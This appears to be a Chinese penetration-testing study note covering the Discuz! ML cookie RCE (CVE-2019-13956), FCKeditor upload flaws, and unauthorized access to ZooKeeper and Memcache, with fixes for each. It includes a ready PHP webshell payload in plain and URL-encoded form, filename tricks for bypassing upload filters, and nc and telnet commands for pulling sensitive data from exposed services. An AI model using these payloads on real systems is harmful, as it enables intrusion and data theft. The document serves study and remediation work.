2022-10-08(Discuz漏洞、FCKeditor文本编辑器漏洞、ZooKeeper 未授权访问、Memcahe 未授权访问)
文章目錄
- Discuz漏洞-請求報文中含有惡意的PHP代碼(CVE-2019-13956)
- FCKeditor文本編輯器漏洞
- test.html
- browser.html
- fckeditor.html
- 連接器
- 利用方式
- 修復
- ZooKeeper 未授權訪問漏洞利用
- 復現
- 修復
- Memcache未授權訪問漏洞
- 修復
- 參考
Discuz漏洞-請求報文中含有惡意的PHP代碼(CVE-2019-13956)
-
漏洞描述
Discuz國際版漏洞存在于cookie的language可控并且沒有嚴格過濾,導致可以遠程代碼執行。
-
原理
Discuz!ML 系統對cookie中的l接收的language參數內容未過濾,導致字符串拼接,從而執行php代碼。 -
影響版本
Discuz! ML V3.2
Discuz! ML V3.3
Discuz! ML V3.4
-
上傳一句話
抓包找到cookie的language的值修改為xxxx_xxxx_language=sc’.phpinfo().’(點是不能省略的)
getshell 的payload: ’.file_put_contents(‘shell.php’,urldecode(’<?php eval($_POST["cmd"]);?>’)).’,url編碼后的形式
是%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
注意的點是
- shell要編碼才能上傳成功
- 目錄是和抓取頁面同級的
漏洞復現
-
漏洞存在的位置/upload/source/module/portal/portal_index.php,使用template函數處理’diy:portal/index’,然后使用include_once包含
-
跟進template函數,發現把DISCUZ_LANG函數拼接成為一個緩存文件名,然后又返回了緩存文件名
-
跟進DISCUZ_LANG函數,發現從cookie中取language的值給$lng
-
繼續瀏覽代碼,發現把$lng的值賦給DISCUZ_LANG了
-
外部參數lng ( 即cookie中的language語言)可控,導致DISCUZ LANG函數獲取lng,然后拼接成緩存文件并且返回了緩存文件名,導致template函數生成的緩存文件名可控,插入自己的代碼,最終include_once函數包含一下導致了代碼注入(執行了插入惡意代碼的緩存文件名)。
漏洞監測工具是:dz-ml-rce.py
FCKeditor文本編輯器漏洞
查看版本信息
/FCKeditor/editor/dialog/fck_about.html /FCKeditor/_whatsnew.htmlFCKeditor編輯器默認會存在:test.html 和 uploadtest.html文件,直接訪問這些文件可以獲取當前文件夾文件名稱 以及 上傳文件。
默認上傳文件
查找3個頁面:fckeditor.html,test.html和browser.html
test.html
這是fck的測試文件,很多使用此編輯器的網站也就存在了這個頁面,可以上傳動態文件
test.html存在2個不同版本
第一個版本的默認路徑是FCKeditor/editor/filemanager/connectors/test.html
或者/FCKeditor/editor/filemanager/browser/default/connectors/test.html
直接選擇本地文件上傳,有時候不成功可以多測試幾次connector,有時候可能關閉了asp,只開啟了aspx;對于resouse type也是一樣,或者只是開啟了file或者image其中一個類型的上傳。
怎么獲取上傳地址呢?已經很明顯了,點擊”get folders and files“就將返回當前上傳文件的地址。
另外一個版本的test.html,相對較少,他的默認路徑是FCKeditor/editor/filemanager/upload/test.html
上傳后會直接返回上傳的路徑,所以利用非常方便。
browser.html
默認路徑一般是FCKeditor/editor/filemanager/browser/default/browser.html?Type=file&Connector=connectors/asp/connector.asp
這里是利用asp連接器,類型選擇為”file“
怎么獲取上傳之后的地址呢?
FCK是利用xml列出文件的,在連接器中有這樣一個命令”GetFoldersAndFiles",就是列出文件夾和文件。可以嘗試運行下面的命令
editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
如果行的話就會列出文件路徑。
或者翻一翻網站,找找相似的圖片,說不定路徑就出來了;再或者試試網頁嗅探器。
fckeditor.html
fckeditor.html的默認路徑一般是fckeditor/editor/fckeditor.Html
不可以上傳文件,可點擊上傳圖片按鈕,再選擇瀏覽服務器即可跳轉到可上傳文件頁,可查看已經上傳的文件(前提是/FCKeditor/editor/fckeditor.html 頁面存在)
連接器
/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx /FCKeditor/editor/filemanager/connectors/asp/connector.asp /FCKeditor/editor/filemagager/connectors/php/connector.php利用方式
- 根據xml返回信息查看網站目錄
- windows 2003 + IIS6 文件解析路徑漏洞
通過fckeditor在文件上傳頁面中,創建 xxx.asp 文件夾,在 xxx.asp 文件夾下上傳一個名為 xxx.jpg 的圖片后綴名webshell文件,即可獲取到其shell - 突破文件名限制
1、重復上傳同名文件,繞過:“.” 變為 “-” 的限制
某些版本的FCK上傳shell.asp;.jpg 會變為 shell_asp;.jpg,繼續上傳 shell.asp;.jpg 就會變成:shell.asp;(1).jpg
2、提交shell.php + 空格繞過文件名限制 ---- 只對windows系統有效
修復
- 刪除2個test.html
- 關閉上傳功能,關閉是在各個連接器的config文件中
比如:asp連接器
editor/filemanager/browser/default/connectors/asp/config.asp,將config.asp中的ConfigIsEnabled的值設置為False - 如果想使用FCK上傳,那么就得修改相應的config文件。限制各個動態文件的上傳,重命名文件。
- 如果你有服務器權限,那么取消FCK上傳目錄的“腳本”權限,雖上傳,但是已無法運行。
ZooKeeper 未授權訪問漏洞利用
簡介:
ZooKeeper是一個分布式的,開放源碼的分布式應用程序協調服務,它是一個為分布式應用提供一致性服務的軟件,提供的功能包括:配置維護、域名服務、分布式同步、組服務等。默認安裝配置完的zookeeper允許未授權訪問,管理員未配置訪問控制列表(ACL)。導致攻擊者可以在默認開放的2181端口下通過執行envi命令獲得大量敏感信息(系統名稱、java環境)導致任意用戶可以在網絡不受限的情況下進行未授權訪問讀取數據甚至殺死服務。
復現
如果發現某網站開啟了2181端口或者Zookeeper服務
使用kali中envi加nc來獲取服務器敏感信息
echo 命令|nc 目標ip 目標端口
修復
-
禁止把Zookeeper直接暴露在公網
-
添加訪問控制,根據情況選擇對應方式(認證用戶,用戶名密碼,指定IP)
方式一
增加認證用戶
addauth digest user1:password1
設置權限
setAcl /path auth:user1:password1:cdrwa(權限)
查看Acl設置
getAcl /path
方式二
setAcl /path digest:user1:password1:權限
限制IP只使集群內相關主機能訪問2181端口
setAcl /zookeeper ip:1.1.1.1:cdrwa,ip:1.1.1.2:cdrwa,ip:1.1.1.3:cdrwa
- 或者更簡單的方式就是配置防火墻,使集群內機器才能訪問2181端口,具體命令如下(配置防火墻需謹慎):
Memcache未授權訪問漏洞
描述:
memcache未授權訪問漏洞,默認的 11211 端口不需要密碼即可訪問,攻擊者可獲取數據庫中信息,造成嚴重的信息泄露。
漏洞成因:
由于memcached安全設計缺陷,客戶端連接memcached服務器后無需認證就可讀取、修改服務器緩存內容。
漏洞危害:
除memcached中數據可被直接讀取泄漏和惡意修改外,由于memcached中的數據像正常網站用戶訪問提交變量一樣會被后端代碼處理,當處理代碼存在缺陷時會再次導致不同類型的安全問題。
當服務器存在漏洞
telnet連接目標11211端口
# stats //查看memcache 服務狀態 # stats items //查看所有items # stats cachedump 32 0 //獲得緩存key(編號為3的第二個) # get :state:264861539228401373:261588 //通過key讀取相應value ,獲得實際緩存內容,造成敏感信息泄露修復
- 配置memcached監聽本地回環地址127.0.0.1
vim /etc/sysconfig/memcached OPTIONS=“-l 127.0.0.1” #設置本地為監聽
/etc/init.d/memcached restart #重啟服務
- 如果業務要求指示必須通過Internet公開服務時,可使用主機防火墻(iptalbes、firewalld等)和網絡防火墻對memcached服務端口進行過濾
參考
- Discuz漏洞
- 【Discuz】ML遠程代碼執行(CVE-2019-13956)
- FCKeditor(FCK)上傳漏洞利用原理詳解
- 【滲透測試】— FCKeditor文本編輯器漏洞
- ZooKeeper 未授權訪問漏洞利用
- zookeeper未授權訪問漏洞修復方式
- Memcache未授權訪問漏洞
總結
以上是生活随笔為你收集整理的2022-10-08(Discuz漏洞、FCKeditor文本编辑器漏洞、ZooKeeper 未授权访问、Memcahe 未授权访问)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: QT 鼠标形状设置
- 下一篇: heapdump定位内存泄露